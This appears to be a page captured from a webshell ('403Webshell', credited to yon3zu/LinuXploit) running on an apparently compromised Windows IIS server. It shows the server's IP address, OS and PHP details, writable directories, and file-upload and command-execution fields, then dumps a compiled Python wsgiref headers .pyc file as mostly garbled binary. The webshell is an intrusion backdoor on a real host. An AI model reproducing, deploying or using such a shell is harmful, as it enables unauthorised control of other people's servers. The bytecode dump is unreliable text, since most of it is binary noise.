403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/wsgiref/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/wsgiref/__pycache__/headers.cpython-315.pyc
R
>lqj�c��Qs]PHs\OQ2s\OQ2s\OQ2sQQksQQ2sP!)z�Manage HTTP Response Headers

Much of this module is red-handedly pilfered from email.message in the stdlib,
so portions are Copyright (C) 2001 Python Software Foundation, and were
written by Barry Warsaw.
z[ \(\)<>@,;:\\"/\[\]\?=]z[\x00-\x1F\x7F]z[\x00-\x08\x0A-\x1F\x7F]c���Udi[U2]6�cYU%f[OU2%c-UOQQ2OQQ2oU8QU8Q0!U8QU80!U!)zvConvenience function to format and return a key=value pair.

This will quote the value if needed or if quote is true.
�\z\\�"z\"z="�=)�len�	tspecials�search�replace)�param�value�quotes&&&�$C:\Python315\\Lib\wsgiref\headers.py�_formatparamr
s_��

��S��Z�!�^��I�$�$�U�+�+��M�M�$��/�7�7��U�C�E� %�u�-�-�#�U�+�+���c�`�\sQs]!snQsQQksQsQsQsQs	Qs
QsQ	sQQ
ks
QsQsQ
sQsQsQsQsQsQsUsP!)�Headersz,Manage a collection of HTTP response headersc���UdSL,o[U2[Ic[Q2gVmSFD+vq#UO	UP	Q5UO	UP
Q5J-	P!)Nz+Headers must be a list of name/value tuples��name)�type�list�	TypeError�_headers�_convert_string_type)�self�headers�k�vs&&  r�__init__�Headers.__init__$s`��$�0�'�b����=��$��I�J�J��
������)�)�!�$�)�7��)�)�!�%�)�8� rc���[U2[Ic9U%c[L[oUO	U2%c[Q2gU![
QO[U222g)zConvert/check value type.z)Control characters not allowed in headersz1Header names/values must be of type str (got {0}))	r�str�_name_disallowed_re�_value_disallowed_rer�
ValueError�AssertionError�format�repr)rr
r�regexs&&$ rr�Headers._convert_string_type.sY����;�#��,0�(�6J�E��|�|�E�"�"� �!L�M�M��L��%�%+�V�D��K�%8�:�	:rc�.�[UO2!)z9Return the total number of headers, including duplicates.)rr�rs&r�__len__�Headers.__len__8s���4�=�=�!�!rc��VUOOUOUP	Q5UOUP
Q512P!)zSet the value of a header.r)r�appendr)rr�vals&&&r�__setitem__�Headers.__setitem__<sD���J��
�
���
�
&�
&�t�$�
&�
7��9R�9R�SV�]b�9R�9c�d�	frc���UOUO2P	Q5oUOTt,tFD"p"]*O2U6wfJ UMJ$	toUOQ$P!ttoh)ziDelete all occurrences of a header, if present.

Does *not* raise an exception if the header is missing.
r�NNN�r�lowerr�rr�kvs&& r�__delitem__�Headers.__delitem__BsT��
�(�(�����D�(�A��)-���P��2�Q�%�+�+�-�4�:O�B�B��P��
�
�a���Ps�A,�A,c�&�UOU2!)a Get the first header value for 'name'

Return None if the header is missing instead of raising an exception.

Note that if the header appeared multiple times, the first exactly which
occurrence gets returned is undefined.  Use getall() to get all
the values matching a header field name.
��get�rrs&&r�__getitem__�Headers.__getitem__Js���x�x��~�rc�*�UOU2PI!)z/Return true if the message contains the header.r;r=s&&r�__contains__�Headers.__contains__Us���x�x��~�T�)�)rc���UOUO2P	Q5oUOTt,tFD)p"]*O2U6XfJ U]*MJ+	to!ttoh)aIReturn a list of all the values for the named field.

These will be sorted in the order they appeared in the original header
list or were added to this instance, and may contain duplicates.  Any
fields deleted and re-inserted are always appended to the header list.
If no fields exist with the given name, returns an empty list.
rr4r6s&& r�get_all�Headers.get_allZsR���(�(�����D�(�A�� $�
�
�E�
�"�A������1D���1���
�E�E��Es�A$�
A$c��UOUO2P	Q5oUOFDvq4UO2U6XfJUt!	U!)z:Get the first header value for 'name', or return 'default'rr4)rr�defaultrrs&&&  rr<�Headers.getfsF���(�(�����D�(�A���=�=�C�A��w�w�y�$����!��rc�R�UOTTt,tFDvqUMJ		too!ttooh)aReturn a list of all the header field names.

These will be sorted in the order they appeared in the original header
list, or were added to this instance, and may contain duplicates.
Any fields deleted and re-inserted are always appended to the header
list.
�r�rrrs&  r�keys�Headers.keyso�"��#�m�m�,�m�d�a��m�,�,��,��#c�R�UOTTt,tFDvqUMJ		too!ttooh)z�Return a list of all header values.

These will be sorted in the order they appeared in the original header
list, or were added to this instance, and may contain duplicates.
Any fields deleted and re-inserted are always appended to the header
list.
rJrKs&  r�values�Headers.valuesyrNrOc�*�UOQ*!)z�Get all the header fields and values.

These will be sorted in the order they were in the original header
list, or were added to this instance, and may contain duplicates.
Any fields deleted and re-inserted are always appended to the header
list.
r3rJr*s&r�items�
Headers.items�s���}�}�Q��rc�T�UOO8QUO8Q0!)�(�))�	__class__�__name__rr*s&r�__repr__�Headers.__repr__�s���>�>�2�2�D�M�M�B�Brc��QOUOTt,tFDoQU*MJ	toPP,*2!ttoh)zcstr() returns the formatted headers, complete with end line,
suitable for direct HTTP transmission.z
z%s: %s)�joinr)rr7s& r�__str__�Headers.__str__�s8���{�{�D�M�M�B�M�b�H�r�M�M�M�B�B�r�7�J�K�K��Bs�>c�8�[U2OQ2!)z
iso-8859-1)r �encoder*s&r�	__bytes__�Headers.__bytes__�s���4�y����-�-rc��UOU2oUeBUOOUOUP	Q5UOUP
Q512U!U!)z�Return first matching header value for 'name', or 'value'

If there is no header named 'name', add a new header with name 'name'
and value 'value'.r)r<rr.r)rrr
�results&&& r�
setdefault�Headers.setdefault�s\��
���$����>��M�M� � �$�";�";�D�t�";�"L��)�)�%�e�)�<�">�
?��L��Mrc
��,oUd%UOUP
Q5oUOU2UO2FD}vqVUOUP	Q5oUe$UOUOQQ22J?UOUP
Q5oUO[	UOQQ2U22J	UO
OUOUP	Q5QO
U212P!)aExtended header setting.

_name is the header field to add.  keyword arguments can be used to set
additional parameters for the header field, with underscores converted
to dashes.  Normally the parameter will be added as key="value" unless
value is None, in which case only the key will be added.

Example:

h.add_header('content-disposition', 'attachment', filename='bud.gif')

Note that unlike the corresponding 'email.message' method, this does
*not* handle '(charset, language, value)' tuples: all values must be
strings or None.
r�_�-z; )rr.rTrr
rr^)r�_name�_value�_params�partsrrs&&&,   r�
add_header�Headers.add_header�s��� �����.�.�v�E�.�B�F��L�L�� ��M�M�O�D�A��)�)�!�$�)�7�A��y����Q�Y�Y�s�C�0�1��-�-�a�e�-�<�����\�!�)�)�C��*=�q�A�B�
$�	
�
�
���d�7�7��D�7�I�4�9�9�UZ�K[�\�]rrJ)N)rZ�
__module__�__qualname__�__firstlineno__�__doc__rrr+r0r8r>rArDr<rLrQrTr[r_rcrgrp�__static_attributes__�__classdictcell__)�
__classdict__s@rrr!si����6�9�:�"�f�Q�	�*�
	F��-�-� �C�L�
.��^�^rr)N�)ru�re�compilerr!r"r
r�rr�<module>r}sS���
��J�J�2�3�	��j�j�!3�4���z�z�"=�>���_^�_^r

Youez - 2016 - github.com/yon3zu
LinuXploit